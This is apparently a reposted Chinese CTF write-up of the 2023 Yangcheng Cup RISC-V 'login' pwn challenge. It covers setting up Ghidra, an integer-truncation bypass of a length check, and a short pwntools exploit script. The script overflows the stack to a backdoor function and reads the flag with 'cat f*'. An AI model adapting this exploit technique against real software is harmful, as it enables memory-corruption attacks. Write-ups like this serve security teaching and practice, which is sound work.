【PWN · ret2text | RISC-V异构】[2023 羊城杯]login

news/2024/5/19 22:26:03 标签: risc-v, ctf, pwn, 栈溢出, ret2text

第一道异构PWN的题目,没做出来。。。。但是是因为工具没有 QAQ


目录

前言

一、食用工具

Ghidra

安装使用

二、解题思路

三、exp

总结


前言

我们context.arch经常是'i386'和'amd64',突然遇到RISC-V架构的题目,一是本地运行不了(环境没配),二是IDA无法反汇编。苦恼。


一、食用工具

于是找啊找。找到cutter——一款risc-v的反汇编反编译工具,然而太shi了,反编译的c代码看不了一点,全是错的。赛后问了学长,晓得了一般做异构pwn、reverse的工具:

Ghidra

Ghidra 是美国国家安全局(RSA)开源发布的软件逆向工程框架,涵盖了反汇编、反编译等工具。该工具2019年3月开源。与之对标的有windows平台下的IDA Pro和linux平台下的radare2等。

资源直接吾爱破解:Ghidra 10.3 - 『逆向资源区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

可以直接通过下载链接(来自上面吾爱破解那篇博客)

ghidra_10.3_PUBLIC_20230510.zip官方版下载丨最新版下载丨绿色版下载丨APP下载-123云盘 

安装使用

1. jdk11+的环境

2. 运行目录下bat文件

3. 创建project后,导入要反汇编的文件即可

二、解题思路

这个过程就比较熟悉了,让我们来读读反汇编后的伪c代码

第一个输入读8字节,第二个读288字节,似乎都没有栈溢出问题,进入FUN_12345786看看

这里有将传入检查的字符串赋值给另一串。源字符串最长为288,目的字符串最长为248,也许可以溢出,然而中间检查了检查字符串(函数参数)的长度<8,这该怎么办呢?

DAT_12347070 = (byte)sVar1 

这里的sVar1是参数字符串的长度,被强制类型转换为byte,而byte是有符号型的,可以表示-128—127 的数。这一点可以和char类比,都是一个字节,但是是有符号的。

如果我们让读入字符串的长度为  256  会发生什么?——发生截断,DAT_12347070 == 0

如果我们让读入字符串的长度为256+8会发生什么?——发生截断,DAT_12347070 == 8

我们惊喜的发现——这两种情况都绕过了”too long"检查。

那让我们再精打细算一下——248字符数组长度+8’所谓的ebp‘长度+8retaddr长度==256+8 

没错,这里的栈溢出点让我们找到了,并且我们可以控制一次跳转地址的自定义——程序中有一个后门函数——刚好跳到这里

过滤了'sh'和'flag’,那我们就 cat f* 绕过即可

三、exp

from pwn import *
from pwn import u64,u32,p64,p32

io=remote(...)

io.sendafter(b'name:\n',b'a'*8)
payload=b'/bin/sh;'*(0x100//8)+p64(0x123456ee)
io.sendafter(b'words\n',payload)
io.sendline(b'cat f*')
io.interactive()

总结

第一道异构PWN

羊城杯对于大佬来说“还挺简单的”,但是对于我们萌新,要哭了(萌新了快一年了进度好慢)

感谢亢学长的帮助!


http://www.niftyadmin.cn/n/4996445.html

相关文章

软件测试Day6|接口测试

学习流程 接口测试流程 需求分析和评审–接口文档分析–编写测试用例–测试用例设计及评审–测试脚本构建–执行测试用例–缺陷管理和回归–测试报告和总结计网基础&#xff08;URL、请求、响应&#xff09; 接口文档解析 拿到一个项目接口之后&#xff0c;先测试业务接口还是…

操作系统清华同步笔记:定义概述+计算机内存和硬盘布局+启动流程顺序+中断、异常和系统调用

定义概述 从用户角度来看&#xff0c;操作系统是一个控制软件&#xff0c;用以管理应用程序&#xff0c;为应用程序提供服务&#xff0c;杀死应用程序等。从内部文件角度来看&#xff0c;操作系统是一个资源管理器&#xff0c;用以管理外设&#xff0c;分配资源。层次结构&…

字节一面:说说地址栏输入 URL 敲下回车后发生了什么?

前言 最近博主在字节面试中遇到这样一个面试题&#xff0c;这个问题也是前端面试的高频问题&#xff0c;作为一名前端开发工程师&#xff0c;我们只有了解地址栏输入 URL 敲下回车后发生的事件&#xff0c;才知道性能优化如何下手&#xff0c;性能优化也是前端必备知识&#xf…

Pyecharts数据可视化(三)

目录 1.绘制词云图 2.绘制桑基图 3.绘制平行坐标图 4.绘制结点图 5.绘制地图 本文主要介绍了如何利用Pyecharts绘制词云图、桑基图、平行坐标图、节点图和地图&#xff0c;虽然这些图平时不是很常用&#xff0c;但是看起来还是比较好看的&#xff0c;如果放在论文当中&am…

【算法刷题-栈与队列篇】

目录 1.leetcode-232. 用栈实现队列2.leetcode-225. 用队列实现栈3.leetcode-20. 有效的括号&#xff08;1&#xff09;代码1&#xff08;2&#xff09;代码2 4.leetcode-1047. 删除字符串中的所有相邻重复项5.leetcode-150. 逆波兰表达式求值6.leetcode-239. 滑动窗口最大值7.…

高频策略:抢盘口,做市,短期趋势

利润来源 价格短期趋势随机游走震荡 策略分类 抢盘口&#xff1a;盘口大单封堵&#xff0c;快速在盘口中双向下单&#xff0c;赚取价差做市&#xff1a;盘口买卖活跃&#xff0c;预测市价单击穿距离&#xff0c;在盘口外双向下单&#xff0c;赚取价差 挂单范围要小于市价击穿距…

电视连续剧 ffmpeg 批量去掉片头片尾

思路&#xff1a; 一、用python获取每集的总时长 二、把每集的时间&#xff0c;拼接成想要的ffmpeg的剪切命令命令。 1、用python获取每集的总时长 1&#xff0c;安装moviepy库&#xff0c;直接安装太慢&#xff0c;换成国内的源 pip install moviepy -i http://mirrors.aliyu…

51单片机智能电风扇控制系统proteus仿真设计( 仿真+程序+原理图+报告+讲解视频)

51单片机智能电风扇控制系统仿真设计( proteus仿真程序原理图报告讲解视频&#xff09; 讲解视频1.主要功能&#xff1a;2.仿真3. 原理图4. 程序代码5.设计报告6. 设计资料内容清单 51单片机智能电风扇控制系统仿真设计( proteus仿真程序原理图报告讲解视频&#xff09; 仿真图…